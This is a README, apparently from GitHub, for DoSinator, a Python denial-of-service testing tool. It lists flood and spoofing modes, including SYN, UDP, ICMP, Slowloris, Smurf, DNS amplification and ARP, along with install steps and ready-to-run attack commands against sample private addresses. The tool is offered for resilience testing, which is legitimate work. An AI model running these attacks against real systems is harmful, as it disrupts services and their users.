DoSinator is a powerful Denial of Service (DoS) testing tool developed in Python. Designed for security professionals and researchers, this tool allows them to simulate various DoS attacks, providing a realistic environment for assessing the resilience of networks, systems, and applications against potential cyber threats.
Features
- Multiple Attack Modes: DoSinator supports various attack modes, including SYN Flood, UDP Flood, ICMP Flood, OS Fingerprinting, Slowloris, Rudy, SCTP, Smurf, and ARP attack modes, allowing you to simulate different types of DoS attacks.
- Customizable Parameters: Adjust packet size, attack rate, and duration to fine-tune the intensity and duration of the attack.
- IP Spoofing: Enable IP spoofing to mask the source IP address and enhance anonymity during the attack.
- Multithreaded Packet Sending: Utilize multiple threads for simultaneous packet sending, maximizing attack speed and efficiency.
- Data from File: Load custom data from a file to be sent in the attack packets.
- PCAP Output: Save the outgoing attack packets to a PCAP file for further analysis.
- ARP Flooding: Perform ARP flooding attacks to disrupt network communication.
Requirements
- Python 3.x
- scapy
- argparse
Installation
Clone the repository:
git clone https://github.com/HalilDeniz/DoSinator.git
Navigate to the project directory:
cd DoSinator
Install the required dependencies:
pip install -r requirements.txt
Usage
$ python3 dosinator.py --help
____ ____ __
/ __ \____ _____/ _/___ ____ _/ /_____ _____
/ / / / __ \/ ___// // __ \/ __ `/ __/ __ \/ ___/
/ /_/ / /_/ (__ )/ // / / / /_/ / /_/ /_/ / / _ _ _
/_____/\____/____/___/_/ /_/\__,_/\__/\____/_/ (_|_|_)
usage: dosinator.py [-h] -t TARGET [-p PORT] [-np NUM_PACKETS] [-ps PACKET_SIZE] [-ar ATTACK_RATE] [-d DURATION]
[--attack-mode {syn,sctp,udp,icmp,http,dns,os_fingerprint,slowloris,smurf,rudy,arp}]
[-sp SPOOF_IP] [--data DATA] [--file FILE] [--pcap PCAP] [--arp-mode {request,reply}]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address
-p PORT, --port PORT Target port number (required for non-ARP attacks)
-np NUM_PACKETS, --num_packets NUM_PACKETS
Number of packets to send (default: 500)
-ps PACKET_SIZE, --packet_size PACKET_SIZE
Packet size in bytes (default: 64)
-ar ATTACK_RATE, --attack_rate ATTACK_RATE
Attack rate in packets/second (default: 10)
-d DURATION, --duration DURATION
Duration of the attack in seconds
--attack-mode {syn,sctp,udp,icmp,http,dns,os_fingerprint,slowloris,smurf,rudy,arp}
Attack mode (default: syn)
-sp SPOOF_IP, --spoof-ip SPOOF_IP
Spoof IP address
--data DATA Custom data string to send
--file FILE File path to read data from
--pcap PCAP PCAP file path to save outgoing packets
--arp-mode {request,reply}
ARP mode (default: request)
target_ip
: IP address of the target system.target_port
: Port number of the target service.num_packets
: Number of packets to send (default: 500).packet_size
: Size of each packet in bytes (default: 64).attack_rate
: Attack rate in packets/second (default: 10).duration
: Duration of the attack in seconds.attack_mode
: Attack mode: syn, udp, icmp, http (default: syn).spoof_ip
: Spoof IP address (default: None).data
: Custom data string to send.file
: File path to read data from.pcap
: PCAP file path to save outgoing packets--arp-mode
: Optional flag to specify ARP mode. Userequest
for ARP request packets (default) orreply
for ARP reply packets.
Usage Examples
Here are some usage examples of DoSinator:
SYN Flood Attack
python dosinator.py -t 192.168.1.1 -p 80 -ar 1000 -d 60 -am syn
UDP Flood Attack with Custom Data
python dosinator.py -t 192.168.1.2 -p 53 -ar 500 -d 120 -am udp --data "CustomPayload123"
ICMP Flood Attack with IP Spoofing
python dosinator.py -t 192.168.1.3 -p 443 -ar 200 -d 180 -am icmp -sp random
HTTP Slowloris Attack
python dosinator.py -t 192.168.1.4 -p 8080 -ar 50 -d 300 -am slowloris
Smurf Attack
python dosinator.py -t 192.168.1.5 -p 0 -ar 100 -d 240 -am smurf
DNS Amplification Attack with Data from File
python dosinator.py -t 192.168.1.6 -p 53 -ar 300 -d 150 -am dns --file dns_query.txt
ARP Request Flooding Attack
python3 dosinator.py -t 192.168.1.7 -am arp --arp-mode request
ARP Reply Flooding Attack
python3 dosinator.py -t 192.168.1.8 -am arp --arp-mode reply
Please use this tool responsibly and ensure you have the necessary permissions before conducting any tests.